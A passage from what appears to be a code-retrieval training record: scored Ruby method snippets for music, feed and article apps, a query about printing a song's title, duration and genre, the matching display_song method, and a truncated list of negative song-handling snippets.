ultimos articulos de la base...\"\n @uarticulos = Articulo.limit(3).order(created_at: :desc)\n end", "def fetch_articles\n return unless any_new?\n (how_many? - 1).downto(0) do |index|\n next if added?(index)\n Article.create(title: feed.entries[index].title,\n description: description(index),\n published: feed.entries[index].published,\n link: feed.entries[index].url,\n site_id: id,\n readingtime: reading_time(index))\n end\n end", "def recent_videos\n videos = self.videos\n\n return [] unless videos\n videos.first(6)\n end", "def index\n @t_facility_access_event_histories = TFacilityAccessEventHistory.all\n @t_facility_access_event_histories_first = TFacilityAccessEventHistory.limit(5)\n end", "def add_info\n UpcomingReleases::Album.all.each do |album|\n info = UpcomingReleases::Scraper.scrape_info_page(ALBUM_URL + album.info_url)\n album.add_album_info(info)\n end\n end", "def recent(n=5)\r\n # rather nasty sql since we can't use max() in having clause with postgres\r\n # so we run the query twice to find five most recent users and join to get\r\n # the respective timelines that contained those events\r\n sql = <<-SQL\r\n SELECT timeline_id FROM\r\n (SELECT user_id, max(coalesce(timeline_events.modified_at, timeline_events.created_at)) AS date \r\n FROM timeline_events JOIN timelines ON (timeline_id = timelines.id)\r\n GROUP BY user_id\r\n ORDER BY date DESC LIMIT #{n}) AS recent_by_user,\r\n (SELECT timeline_id, user_id, max(coalesce(timeline_events.modified_at, timeline_events.created_at)) AS date \r\n FROM timeline_events JOIN timelines ON (timeline_id = timelines.id)\r\n GROUP BY timeline_id, user_id) AS recent_by_timeline\r\n WHERE recent_by_user.user_id = recent_by_timeline.user_id AND recent_by_user.date = recent_by_timeline.date;\r\n SQL\r\n \r\n result = connection.select_values(sql)\r\n Timeline.where(:id => result).all\r\n end", "def generate_top_tracks(year)\n weeklycharts = lastfm.user.get_weekly_chart_list(\"pulleasy\")\n weeklycharts.each do |weekly_chart|\n charts = []\n if weekly_chart[\"from\"] > year.to_time.to_i && weekly_chart[\"to\"] < year.next_year.to_time.to_i\n charts << weekly_chart\n end\n end\nend", "def index\n @recent_objects = Serial.order(updated_at: :desc).limit(10)\n end", "def recent_feed_items(limit = 100)\n feed_items.order('created_at DESC').limit(limit)\n end", "def initialize\n # @@artists << self\n super\n @songs = []\n end", "def topAlbums(artist)\n\tartistinfo = HTTParty.get(\"http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums&artist=#{artist}&api_key=#{API_KEY}&format=json\")\n\treturn artistinfo\nend", "def artists\n MusicImporter.new(path).print_artists\n end", "def index\n @user = User.find_by_id(session[:user])\n @stories = Story.find :all,\n :order => 'updated_at DESC',\n :limit => 5\n end", "def index\n @artist_mediums = ArtistMedia.all\n end", "def build_user_top_artist_data\n\n tracks = []\n\n user_top_artists = top_artists\n\n user_top_artists.each do |artist|\n tracks.concat(get_top_tracks(artist))\n end\n\n create_needed_profiles(tracks)\n\n user_top_artists\n\n end", "def artists\n # - this method will show the connection between songs and artists \n self.songs.collect do |f| \n f.artist\n end\n end", "def artists\n @artists ||= artists_raw.map {|a| @session.artist.build(:name => a) }\n end", "def tracks\n (1..track_count).map do |i|\n Track.new.load_from_movie(self, i)\n end\n end", "def tracks\n (1..track_count).map do |i|\n Track.new.load_from_movie(self, i)\n end\n end", "def preview\n @search = params[:search] || 114651808548129 # Coldplay\n\n if !params[:search]\n render 'artists/preview_form'\n return\n end\n\n graph = Koala::Facebook::API.new(session[\"facebook_access_token\"][\"credentials\"][\"token\"])\n fb_data = graph.api(\"/#{params[:search]}?fields=name,general_manager,booking_agent,record_label,genre,hometown,website,bio,picture,likes\")\n \n puts \"Creating new artist scraper object\"\n artist_scraper = ArtistScraper.new :facebook_info => fb_data\n\n if artist_scraper.errors? :preview_mode => true\n render 'artists/preview_form', :notice => \"This artist triggered an error\"\n return\n end\n\n puts \"Importing artist's information\"\n @artist = artist_scraper.import_info\n @image_url = artist_scraper.image_url\n\n @release_tracks, @timeline, @timeline_images = [], [], []\n\n release_scraper = ReleaseScraper.new @artist, :preview_mode => true\n puts \"Starting 7Digital Release Import\"\n release_scraper.sdigital_import #:limit => 10\n puts \"Starting iTunes Release Import\"\n release_scraper.itunes_import #:limit => 10\n puts \"Compiling release results\"\n @timeline = release_scraper.releases\n @timeline_images = release_scraper.new_releases_images\n\n end", "def show\n @events = Event.last(4).reverse \n end", "def index\n limit = 3\n @articles = Article.published.order('published_at DESC').limit(limit+1).all\n\n if @articles.size == limit+1\n @articles.pop\n @show_more_link = true\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def last_n_events(n)\n events.where(['date < ?', Date.today]).first(5)\n end", "def tracker_activities\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities = JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n while next_ind.positive? do\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&offset=#{next_ind}&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities += JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n end\n end", "def defender_autopicker team,limit\n\tpicked_squad = []\n\tplayers = team.source_team.source_players.where(position: 2).order(defending_ability: :desc)\n\ti = 0\n\twhile i < limit do\n\t\tpicked_squad.push players[i][:id]\n\t\ti += 1\n\tend\n\tpicked_squad\nend", "def index\n @spotify_artists = SpotifyArtist.all\n end", "def recent_player_data(count = nil)\n player_data_points_dataset.where(relevant: true).\n order_by(Sequel.desc(:created_at)).\n limit(count)\n end", "def list_artist\n Artist.all.each.with_index(1) {|artist, i| puts \"#{i}. #{artist.name}\"}\n end", "def artists\n if RESPONSE.code == 200\n # Return data to page\n JSON.parse(RESPONSE.to_s)['topartists']['artist']\n else\n # print error message\n \"Error Code #{RESPONSE.code}\"\n end\n end", "def load_series! api\n @seasons = 1 # determined later\n @episodes = []\n current_season = 1\n begin\n season_url = url + '/episodes?season=%d' % current_season\n load_season!(api, season_url, current_season)\n current_season+=1\n end until current_season > @seasons\n\n # number all episodes\n num = 1\n @seasons.times do |season|\n sorted_episodes = get_season(season+1).sort_by {|epi| epi.episode}\n sorted_episodes.each do |epi|\n epi.number = num\n num += 1\n #debug '%s S%02dE%02d [%d] -- %s' % [title, epi.season, epi.episode, epi.number, epi.airdate]\n end\n end\n\n # remove pages:\n @episodes.each do |episode|\n episode.page = nil\n end\n\n @series_loaded = true\n end", "def recent_posts(count=5)\n @sorted_articles ||= sorted_articles\n\n return @sorted_articles[0, count-1]\n end", "def show\n @murals = @artist.murals.page(params[:page])\n end", "def tracks\n reload\n @tracks\n end", "def import\n self.files.each do |f|\n song = Song.new_by_filename(f)\n Artist.all << song.artist unless Artist.all.include?(song.artist)\n end \n end", "def index\n\t\t@artist_name = params[:artist_name]\n\t\tdownloader = ScDownloader.new\n\t\t@artists = downloader.get_artists(@artist_name)\n\tend", "def top_artists(tag)\n get(:standard, {:method => \"tag.getTopArtists\", :tag => tag})\n end", "def artist=(v)\n if @artist != v\n @needs_commit = true\n @artist = v\n end\n end", "def set_featured_videos\n @latest_featured_videos = @user.featured_videos.limit(4)\n end", "def prefetch_tracks(queue, max_entries)\n @plq.each do |model, path, iter|\n # Must check for every track if it's already in the queue. It may have been moved or something else.\n if queue.detect { |elem| elem.internal_ref == iter[4].internal_ref }.nil? && iter[4].xlink.audio_status != Audio::Status::ON_SERVER\n queue << TrackRefs.new(self, iter[4].internal_ref, iter[4].xlink)\n break if queue.size > max_entries # queue has at least [0] element -> check on >\n end\n end\n end", "def index\n @quotes = Quote.order('created_at DESC').limit(4)\n \n end", "def artist_images\n ArtistImage.find_by_artist_id(self.id)\n end" ]
[ "0.6380666", "0.6238475", "0.61190766", "0.6062939", "0.59994924", "0.5809105", "0.57804525", "0.57104266", "0.5693334", "0.5613974", "0.55636334", "0.5541392", "0.5466652", "0.54422843", "0.54377097", "0.54362065", "0.54139894", "0.5408272", "0.5401707", "0.5396842", "0.5380871", "0.5353283", "0.53391826", "0.53385633", "0.5331528", "0.5313149", "0.5299448", "0.5284757", "0.52698594", "0.5223979", "0.52142936", "0.52106404", "0.52101433", "0.52095556", "0.51799065", "0.5179802", "0.51736474", "0.51676124", "0.5163944", "0.516315", "0.5141203", "0.5137073", "0.5134352", "0.5130694", "0.51304454", "0.51281667", "0.5127914", "0.5125691", "0.51237893", "0.5119344", "0.51108843", "0.5098167", "0.50969946", "0.50889134", "0.5079319", "0.5075988", "0.50708747", "0.5070154", "0.50621516", "0.50549793", "0.50546277", "0.50470185", "0.50450635", "0.5040233", "0.5040181", "0.5032594", "0.5031972", "0.50292975", "0.5026185", "0.50146824", "0.50136983", "0.50117046", "0.50098664", "0.5006477", "0.50057626", "0.5003262", "0.5001899", "0.5001899", "0.50013244", "0.49938986", "0.4989575", "0.4987426", "0.49827585", "0.49721515", "0.49717936", "0.49596646", "0.49584278", "0.49448624", "0.4942696", "0.49423566", "0.4939374", "0.49354526", "0.49287423", "0.4926208", "0.4921733", "0.49206218", "0.49173307", "0.49170917", "0.49164495", "0.49086216" ]
0.64480793
0
print song title, duration, genre in a single line
def display_song return "Title: #{song_title}, Duration: #{duration}, Genre: #{genre}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_songs\n songs.each { |song| puts \"#{song.name}\" }\n end", "def print_songs\n songs.each do |song|\n puts \"#{song.name}\"\n end\n end", "def print_songs\n @songs.each {|x| puts \"#{x.name}\\n\"}\n end", "def print_songs\n songs.each {|song| puts song.name}\n end", "def print_album album\n puts('Album information is: ')\n # insert lines here\n puts 'Artist is ' + album.title.to_s\n puts 'Album is ' + album.artist.to_s\n\tputs 'Genre is ' + album.genre.to_s\n\tputs $genre_names[album.genre]\nend", "def print_songs\n songs.each do |song|\n print song.name + \"\\n\"\nend \nend", "def print_songs\n songs.each {|song| puts song.name}\n end", "def display_songs\n puts \"Your Discography\"\n songs.each do |song|\n puts \"* Artist: #{song.artist} - Song Name: #{song.title}\"\n end\n end", "def print_songs\n songs.each do |song|\n puts song.name\n end\n end", "def print_songs\n songs.each do |song|\n puts song.name\n end\n end", "def print_songs\n songs.each {|song| puts song.name}\n end", "def print_album album\n puts('Album information is: ')\n\t# insert lines here\n\tputs 'Genre is ' + album.genre.to_s\n\tputs $genre_names[album.genre]\nend", "def print_songs\n @songs.each do |song|\n puts song.name\n end\n end", "def print_songs\n puts @songs.collect {|song| song.name}\n end", "def print_songs\n self.songs.each {|s| puts s.name}\n end", "def print_songs\n @songs.each {|song| puts song.name}\n end", "def print_songs\n @songs.each {|song| puts song.name}\n end", "def print_contents\n\t\tputs \"Artist: %s\" % [@artist]\n\t\tputs \"Album: %s\" % [@title]\n\t\tputs \"Released: %s\" % [@year]\n\n\t\tif @cd_count > 0\n\t\tputs \"CD(%d): %s\" % [@cd_count, @cd_id]\n\t\tend\n\n\t\tif @tape_count > 0\n\t\tputs \"Tape(%d): %s\" % [@tape_count, @tape_id]\n\t\tend\n\n\t\tif @vinyl_count > 0\n\t\tputs \"Vinyl(%d): %s\" % [@vinyl_count, @vinyl_id]\n\t\tend\n\n\tend", "def print_songs\n @songs.each do |song|\n puts song.name\n end \n end", "def print_album album\n puts 'Album Artist is ' + album.artist.to_s\n puts 'Album Title is ' + album.title.to_s\n puts 'Genre is ' + album.genre.to_s\n puts $genre_names[album.genre]\n print_tracks(album.tracks)\nend", "def print_album album\r\n\tputs album.title\r\n\tputs album.artist\r\n\tputs 'Genre is ' + album.genre.to_s\r\n\tputs $genre_names[album.genre]\r\n\tprint_tracks(album.tracks)\r\nend", "def print_albums_info albums\n\tsystem \"clear\" or system \"cls\"\n\tputs add_space(' Albums').colorize(:color => :white, :background => :blue)\n\ti = 0\n\twhile i < albums.length\n\t\talbum = albums[i]\n\t\tid = ' Album ID: ' + album.id.to_s\n\t\tgenre = ' -= ' + album.genre + ' =-'\n\t\ttitle = ' > ' + album.title + ' by ' + album.artist\n\t\tputs add_space(' ').colorize(:color => :black, :background => :white)\n\t\tputs add_space(id).colorize(:color => :black, :background => :white)\n\t\tputs add_space(genre).colorize(:color => :red, :background => :white)\n\t\tputs add_space(title).colorize(:color => :red, :background => :white)\n\t\ti+=1\n\tend\n\tread_string(\"Press ENTER to continue.... \")\n\tsystem \"clear\" or system \"cls\"\nend", "def print_songs\n self.songs.each{|song|\n puts song.name\n }\n end", "def print_album album\n\tputs 'Title is ' + album.title.to_s\n\tputs 'Artist is ' + album.artist.to_s\n\tputs 'Genre is ' + $genre_names[album.genre]\n\t# print out the tracks\n\tprint_tracks(album.tracks)\nend", "def to_s( )\n\t\t\"#@title by #@artist <<#@duration>>\"\n\tend", "def print_title_track track\r\n\tputs('Track title is: ' + track.name)\r\n \tputs('Track file location is: ' + track.location)\r\nend", "def print_album album\n\tputs '*********************************************'\n\tputs 'Album Title: ' + album.title\n\tputs 'Album Artist: ' + album.artist\n\tputs 'Genre: ' + album.genre\n\tputs ''\n\tprint_tracks(album.tracks)\nend", "def print_songs\n self.songs.each {|song| puts song.name}\n end", "def print_album album\n\n # print out all the albums fields/attributes\n # Complete the missing code.\n\n\tputs 'Genre is ' + album.genre.to_s\n\tputs $genre_names[album.genre]\n\t# print out the tracks\n\nend", "def print_album album\n\tputs 'Album Title: ' + album.title\n\tputs 'Album Artist: ' + album.artist\n\tputs 'Album Genre: ' + album.genre\n\tputs ''\n\tputs 'Tracks: '\n\tprint_tracks(album.tracks)\nend", "def print_songs\n self.songs.each.do |song|\n puts song.name\n end", "def to_s\n \"Song: #@name--#@artist (#@duration)\"\n end", "def list_songs\n self.sorted_list_songs.each_with_index do |song, idx|\n puts \"#{(idx + 1).to_s}. #{song.artist.name} - #{song.name} - #{song.genre.name}\"\n end\n end", "def create_text\n songs.inject(\"\") do |list, song|\n list << \"#{song.filename}, #{song.title}\\n\"\n end\n end", "def print_songs\n song_names = []\n self.songs.collect {|song| song_names << song.name}\n puts song_names\n end", "def print_songs \n songs.each {|song| puts song.name}\n end", "def printf\n @items.each { |movie| puts \"#{movie.title}: #{movie.rating}\" }\n end", "def print_track track\n\t\tputs('Title: ' + track.name.to_s)\n \tputs('File location: ' + track.location.to_s)\nend", "def title\n \"#{@artist} - #{@name} (#{@length})\"\n end", "def sing_me_a_song()\n @lyrics.each { |line| puts line }\n end", "def display_info\n\t\tputs \"Total track number: #{@track_list.length}\"\n\t\tputs \"Total artist number: #{@artist_list.length}\"\n\t\tputs \"Last three played track:\"\n\t\t@last_played.each do |last_played_track|\n puts \"------------ Track Info -------------\"\n\t\t\tputs \"#{last_played_track.to_s}\"\n\t\tend\n\tend", "def print_song\n\t\tif self.bottles == 0 then return \"\" end\n\t\twhile self.bottles > 0\n\t\t\tstanza(self.bottles)\n\t\t\tself.bottles -= 1\n\t\tend\n\tend", "def song(verse_a, verse_b)\np \"#{verse_a} #{verse_b}\"\nend", "def description\n\t\ts = \"#{title}, a song \"\n\t\ts+= \"by #{artist.name} \" if artist\n\t\ts+= \"on Stoffi\"\n\tend", "def genres\n MusicImporter.new(path).print_genres\n end", "def generate(playlist)\n text = \"[playlist]\\n\\n\"\n playlist.tracks.each_with_index do |t, index|\n index += 1\n duration = (t.duration / 1000).round\n text += \"File#{index}=#{t.location}\\n\"\n if t.creator && t.title\n text += \"Title#{index}=#{t.creator} - #{t.title}\\n\"\n elsif t.title\n text += \"Title#{index}=#{t.title}\\n\"\n end\n text += \"Length#{index}=#{duration}\\n\"\n text += \"\\n\"\n end\n text += \"NumberOfEntries=#{playlist.tracks.count}\\n\"\n text += \"Version=2\\n\"\n text\n end", "def list_songs\n puts \"Here are the songs in your music library:\"\n Song.all.each.with_index(1){|song, index|\n puts \"#{index}. #{song.artist.name} - #{song.name} - #{song.genre.name}\"\n }\n end", "def to_log(items)\n\t\tlog_line = \"#{@log_lines.length}: #{items[0][:album_artist]} - \" +\n\t\t\t\"#{items[0][:album_title]}\"\n\t\tputs log_line if @verbose == true\n\t\tlog_line\n\tend", "def print_album(album)\n \n\t# print out all the albums fields/attributes\n\t# Complete the missing code.\n\t puts album.artist\n\t puts album.title\n\t puts('Genre is ' + album.genre.to_s)\n\t puts($genre_names[album.genre.to_i])\n\t # print out the tracks\n\t print_tracks(album.tracks)\n\t \n \n end", "def artist_name_and_genre\n \"#{artist_name} - #{genre.name}\"\n end", "def show_movies\n puts \"****************************\"\n puts \"****************************\"\n puts \"Movie Information: \"\n puts \"Title: #{@title}\"\n puts \"Rated: #{@rated}\"\n puts \"Director: #{@director}\"\n puts \"Runtime: #{@runtime} Hours\"\n puts \"Reviews: #{@criticreview}\"\n puts \"****************************\"\n puts \"****************************\"\n end", "def print_track track\r\n\tputs('Track title is: ' + track.name)\r\n \tputs('Track file location is: ' + track.location)\r\nend", "def format\n self.songs.size > 1 ? s = \"songs\" : s = \"song\"\n \"#{self.name.capitalize}\"\n end", "def print_tracks tracks\r\n\tindex = 0\r\n\ttimes = tracks.length\r\n\twhile (index < times)\r\n\t\tputs tracks[index].name\r\n\t\tputs tracks[index].location\r\n\t\tindex += 1\r\n\tend\r\nend", "def to_s # Now it dosen't throw the object code\n \"Song: #@name #@artist (#@duration)\" #[#@lyrics]\"\n end", "def print_track track\n puts('Track title is: ' + track.title)\n\tputs('Track file location is: ' + track.file_location)\nend", "def print_track track\n puts('Track title is: ' + track.title)\n\tputs('Track file location is: ' + track.file_location)\nend", "def get_songs\r\n # create array of to_tab's of song obj using .collect. join this array with a newline separator.\r\n return @songs.collect{|song| song.to_tab }.join(\"\\n\")\r\n end", "def display_titles\n Anime.all.each do |movie|\n puts \"#{movie.rank} - #{movie.title}\"\n puts \"--------------------------------\"\n end\n end", "def print_track(track)\n puts('Track title is: ' + track.name)\n puts('Track file location is: ' + track.location)\n end", "def print_track track\n puts('Track title is: ' + track.name)\n puts('Track file location is: ' + track.location)\nend", "def print_track(track)\n \tputs('Track title is: ' + track.title)\n\tputs('Track file location is: ' + track.file_location)\nend", "def to_s\n \"Movie: #{@tittle}, #{@genre}, #{@country}, #{@date}, #{@time} min\"\n end", "def songs\n MusicImporter.new(path).print_songs\n end", "def print_latest_song(tracks)\n\t\n\tputs tracks[0]['artist']['#text']\n\tputs tracks[0]['name'] + \" - \" + tracks[0]['album']['#text']\nend", "def print_track(track)\n\tputs('Track title is: ' + track.name)\n\tputs('Track file location is: ' + track.location)\n end", "def title\n \"#{artist.name} - #{name} [#{release.catalog_number}]\"\n end", "def to_s\n\t\tputs \"The album #{@name} by #{@artist.join(\", \")}. \\n\"\n\tend", "def create_pls\n pls = \"[playlist]\\n\"\n pls << \"NumberOfEntries=#{songs.size}\\n\\n\"\n\n i = 0\n while i < songs.size do\n num = i+1\n pls << \"File#{num}=#{songs[i].filename}\\n\"\n pls << \"Title#{num}=#{songs[i].title || songs[i].filename}\\n\"\n pls << \"Length#{num}=#{songs[i].duration.round}\\n\\n\"\n i+=1\n end\n\n pls << \"Version=2\"\n end", "def print_tracks tracks\n\tputs 'Tracks: '\n\tfor i in 0...tracks.length do\n\t\ttrack = tracks[i]\n\t puts '*********************************************'\n\t puts '**************** Track No. ' + (i + 1).to_s + ' ****************'\n\t\tputs 'Track name: ' + track.name\n\t\tputs 'Track file location: ' + track.location\n\t\ti += 1\n\tend\nend", "def playlist_print playlist\n @filehandle << @track_separator + \"<dict>\"\n playlist[:dict].each { |row|\n track_row_print row\n }\n if nil != playlist[:items]\n @filehandle << \"\\n\\t\\t\\t<key>Playlist Items</key>\\n\\t\\t\\t<array>\"\n playlist[:items].each { |row|\n playlist_item_row_print row\n }\n @filehandle << \"\\n\\t\\t\\t</array>\"\n end\n @filehandle << @track_separator + \"</dict>\"\n end", "def print_stats(title_array)\n # some iteration magic and puts out the movies in a nice list\n title_array.each do |title|\n puts \"#{title}\\n\"\n puts\"*****************\\n\"\n end\nend", "def display_song_with_artist(db)\n\tputs \"The songs with artist's name\"\n\tputs \"----------------------------\"\n\tsongs = db.execute(\"SELECT * FROM songlist;\")\n\tsongs.each do |song|\n\t\tputs \"SONG NAME: #{song['song_name']} ; ARTIST NAME: #{song['artist_name']}.\"\n\tend\nend", "def print_movies(films)\n # some iteration magic and puts out the movies in a nice list\n films.each do |film|\n puts \"---------- #{film[\"title\"]} ----------\\n\"\n #puts \"Title: #{film[\"title\"]}\"\n puts \"Episode: #{film[\"episode_id\"]}\"\n puts \"Director: #{film[\"director\"]}\"\n puts \"Producer(s): #{film[\"producer\"]}\"\n puts \"Release Date: #{film[\"release_date\"]}\"\n puts \"This move had: #{film[\"characters\"].length} character(s), #{film[\"species\"].length} specie(s) & #{film[\"planets\"].length} planet(s)!!\"\n\n # puts \"Opening Crawl: #{film[\"opening_crawl\"][0..100]}\" + \"...\"\n end\nend", "def to_s\n\t\tputs \"The album #{@name} by #{@artist}. \\n\"\n\tend", "def to_s\n puts \"The album #{@name} by #{@artist}. \\n\"\n end", "def lyrics\n if @file && @mp3\n self.play\n \n @file.each {|line| charPrint(line)}\n end\n end", "def print_track track\n puts('Track title is: ' + track.track_title)\n\tputs('Track file location is: ' + track.track_location)\nend", "def list_songs\n # print songs out in alphabetical order with index\n # 'each.with_index' allows for index to start at 1\n Song.all.uniq.sort { |title1, title2| title1.name <=> title2.name }.each.with_index(1) do |song, i|\n puts \"#{i}. #{song.artist.name} - #{song.name} - #{song.genre.name}\"\n end\n end", "def display_movie( line )\n # Print each line and delete closing \\n tag destructively !\n line.chomp!\n # Split the line into an array where it is separated by a comma\n movie_details = line.split(\",\")\n # Store the array vlues into relevant variables\n movie_name = movie_details[0]\n movie_duration = movie_details[1]\n movie_rating = movie_details[2]\n\n puts \"\"\n p movie_details # Print out array\n\n puts \"Name: #{movie_name}\"\n puts \"Duration: #{movie_duration}\"\n puts \"Rating: #{movie_rating}\"\nend", "def display_movie (movie)\n movie.chomp!\n movie_details = movie.split \",\"\n\n movie_name = movie_details[0]\n movie_duration = movie_details[1]\n movie_rating = movie_details[2]\n\n puts \"\"\n puts \"Name: #{movie_name}\"\n puts \"Duration: #{movie_duration}\"\n puts \"Rating: #{movie_rating}\"\nend", "def inspect\n \"#{@artist}: #{@track} (#{@album})\"\n end", "def output_header\n puts\n puts '-' * @title.length\n puts @title\n puts '-' * @title.length\n end", "def print_item\n return \"Title: #{@title}; Description: #{@description}; Anniversary Date: #{@month}/#{@day}\"\n end", "def print_year_with_info(year)\n puts \"\"\n puts \"In #{year.year}, #{year.player} scored #{year.total_points} total points in #{year.games_played} total games.\"\n puts \"\"\n end", "def format(song)\n artist_name = format_artist_name(song[\"artist\"][\"content\"])\n song_name = format_song_name(song[\"name\"])\n hashtag = format_hashtag(song[\"nowplaying\"])\n return \"#{song_name} - #{artist_name} ##{hashtag}\"\n end", "def print_details\n puts \"#{@dog_walker.name} walked #{@dog.name} for #{length_in_minutes} minutes.\"\n end", "def printf\n (0...@items.length).each do |i|\n item = @items[i]\n puts(\"#{item.title}: #{item.rating}\")\n end\n end", "def info\n title + \" (\" + genotype_info + ' / ' + phenotype_info + ')'\n end", "def speak(title)\n\n a = KjReading.verses title\n\n a.each do |x|\n\n filename = download_ogg(x.title)\n command = @audio_player + ' ' + filename\n system command\n\n end\n\n end", "def print_tracks tracks\n i = 0\n for i in 0..tracks.length - 1 do\n\t puts '*********************************************'\n\t puts '**************** Track No. ' + (i + 1).to_s + ' ****************'\n\t print_track(tracks[i])\n\t puts ''\n end\nend", "def to_s\n \"#{self.artist.name} - #{self.name} - #{self.genre.name}\"\n end", "def info(include_media_list=false)\n\t\t\tnl = Episodey.nl\n\t\t\ttab = Episodey.tab\n\t\t\tmedia_count = !@media.nil? ? @media.length : 0\n\t\t\theader = \"[#{self.id}] [#{self.u_id}, #{self.name}, #{media_count} Episodes]#{nl}\"\n\t\t\tprint header.colorize(:light_green)\n\n\t\t\tif include_media_list\n\t\t\t\tself.list_media\n\t\t\tend\n\t\t\tputs nl\n\t\tend", "def print_songs#\nself.songs.each do |song|\n puts song.name\nend\nend", "def to_s\n self.play_list.to_s + \" \" + self.song.to_s\n end", "def our_songs\r\n\t@title = \"Our Songs\"\r\n end", "def generate(playlist)\n text = \"#EXTM3U\\n\"\n playlist.tracks.each do |t|\n duration = (t.duration / 1000).round\n text += \"#EXTINF:#{duration},#{t.creator} - #{t.title}\\n\"\n text += \"#{t.location}\\n\"\n end\n text\n end", "def sing(song)\n\t\tputs \"Lalala \" + song + \" ladeeda!\"\n\tend", "def print\n \"#{id}-#{start}-#{duration}-#{body}\"\n end" ]
[ "0.694044", "0.693019", "0.69180095", "0.6859085", "0.68539625", "0.68472224", "0.68147373", "0.67926705", "0.67706805", "0.67706805", "0.67474157", "0.6737379", "0.67038304", "0.6696807", "0.6696009", "0.6690794", "0.6690794", "0.6674225", "0.6664251", "0.66498226", "0.6644023", "0.6616036", "0.6605246", "0.6572154", "0.6569243", "0.6565683", "0.6549987", "0.65460163", "0.6530616", "0.6508471", "0.6480208", "0.6469808", "0.64629406", "0.6399542", "0.63883704", "0.63821477", "0.6312783", "0.63034517", "0.62429994", "0.6241511", "0.62345445", "0.6231405", "0.6211791", "0.61852205", "0.6179711", "0.61761147", "0.6170563", "0.6168236", "0.6166184", "0.61380494", "0.6109537", "0.6093296", "0.60899496", "0.6088759", "0.60763997", "0.60483813", "0.60483813", "0.60326946", "0.60318345", "0.6028296", "0.60275304", "0.6017298", "0.60049427", "0.6004677", "0.60041404", "0.6002651", "0.6002217", "0.5994702", "0.59704065", "0.59683233", "0.5959768", "0.594307", "0.5931138", "0.59220356", "0.59178823", "0.59131", "0.5911739", "0.5905884", "0.59029734", "0.59009886", "0.5879514", "0.58787537", "0.5862566", "0.58556896", "0.58492035", "0.58248127", "0.5819993", "0.5817438", "0.5815261", "0.5795337", "0.57783246", "0.57736796", "0.57717407", "0.576038", "0.57577646", "0.573809", "0.573674", "0.5722726", "0.57089186" ]
0.79902846
1
add song to album > first check to see if song is in album
def add_song(new_song) @songs.include?(new_song) ? (puts "The song has already been added") : @songs.push(new_song) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_song(song)\n if(!songs.include?song)\n songs.add(song)\n end\n end", "def add_album(new_album)\n if @albums.include?(new_album)\n puts \"The album has already been added\"\n else\n @albums.push(new_album)\n end\n end", "def add_song(song)\n if song.artist == nil #does not assign the song if the song already has an artist\n song.artist = self #assigns current artist to songs artist property\n else\n nil\n end\n if @songs.include?(song)\n nil\n else\n @songs << song #adds song, does not add the song if already exists\n end\n song\n end", "def add_track(new_song)\n if AVAILABLE_SONGS.include?(new_song)\n @playlist << new_song\n else\n return false\n end\n end", "def add_album(new_album)\n @albums.include?(new_album) ? (puts \"The album has already been added\") : @albums.push(new_album)\n end", "def add_song(song)\n return if Song.find_by_id(song).nil?\n songs << song\n end", "def add_song(song)\n # song.artist = self # assigns the current artist to the song's 'artist' property (song belongs to artist)\n #@songs << song #adds the song to the current artist's 'songs' collection \n ##does not assign the artist if the song already has an artist\n if song.artist == self\n song.artist\n else\n song.artist = self\n end \n # does not add the song to the current artist's collection of songs if it already exists therein\n if songs.include?(song)\n song\n else\n songs << song\n end \n songs\n end", "def add_song_to_playlist(song)\n if @playlist.include? song\n return #exit out of function if already exits\n end\n @playlist << song #else add song to playlist array\n end", "def add_song(song)\n if self.songs.include?(song) == false\n @songs << song\n end\n\n if song.artist.nil? || song.artist == false\n song.artist = self\n end\n\n end", "def add_song(song)\n song.artist = self unless song.artist == self\n @songs << song unless @songs.include? song\n end", "def add_song(song)\n song.artist = self unless song.artist == self #the song's artist property here\n @songs << song unless @songs.include?(song)\n end", "def add_song(song) #Add the instance of the song to the @songs array (but do NOT add duplicated)\n if @songs.include?(song) == false #So, check first to see if it has been added yet or not.\n @songs << song #Push the song into the array if it has not been added yet\n song.artist = self if song.artist == nil #If no artist (nil) then the Song's artist is self (this instance of the song/artist) Associates the two. else nil #If else (i.e. song is already included in the array, do not add it.)\n end\n end", "def add_song(song)\n # Add song to @songs if it doesn't already exist\n @songs << song if !@songs.include?(song)\n # Add artist if not already assigned\n song.artist = self if song.artist ==nil\n save\n end", "def add_song(song)\n if song.artist!=self\n song.artist = self\n elsif !@songs.include?(song)\n @songs << song\n end\n end", "def add_song(song)\n if(!song.artist)\n song.artist = self\n end\n \n if(!self.songs.include?song)\n self.songs << song\n end\n end", "def add title, artist\n $albums.each do |album, status|\n # screen for duplicates\n if album[0].downcase == title.downcase\n puts \"You already have a song by that name.\"\n return nil\n end\n end\n album = [title, artist]\n $albums[album] = \"unplayed\"\n # artist = artist.gsub('\"', '')\n puts \"Added #{title} by #{artist.gsub('\"', '')}\"\n return album\nend", "def test_song_already_added_to_playlist()\n @room_1.add_song_to_playlist(@song_1)\n @room_1.add_song_to_playlist(@song_1)\n assert_equal(1, @room_1.playlist_count())\n end", "def add_track(track)\n raise \"Track already belongs to album '#{track.album}'.\" if track.album\n @tracks << track if !@tracks.include?(track)\n track._album = self\n end", "def add_song(song)\n songs << song\n end", "def add_song(song)\n songs << song\n end", "def has_song?(song)\n songs.include?(song)\n end", "def add_song(song)\n\t\t@songs <<(song)\n\t\t\n\tend", "def add_song(song_to_be_added)\n @songs << song_to_be_added\n end", "def add_song(song)\n song.genre = self unless song.genre\n @songs << song unless @songs.include?(song)\n end", "def add_song(song)\n @songs << song \n end", "def add_song(song)\n @songs << song\n end", "def add_song(song)\n @songs << song\n end", "def add_song(song)\n @songs << song\n end", "def add_song(song)\n @songs << song\n end", "def add_song(song)\n @songs << song\n end", "def add_song(song)\n @songs << song\n end", "def add_song(song) ### arg is song instance ###\n\t\tsong.artist = self\n\t\tsong.artist.songs << song\n\tend", "def add_song(song)\n @songs << song\n song.artist = self\n @@sounds_count += 1\n\n end", "def add_song(song_title)\n #adds the song to the current artist's 'songs' collection = @songs\n #does not add the 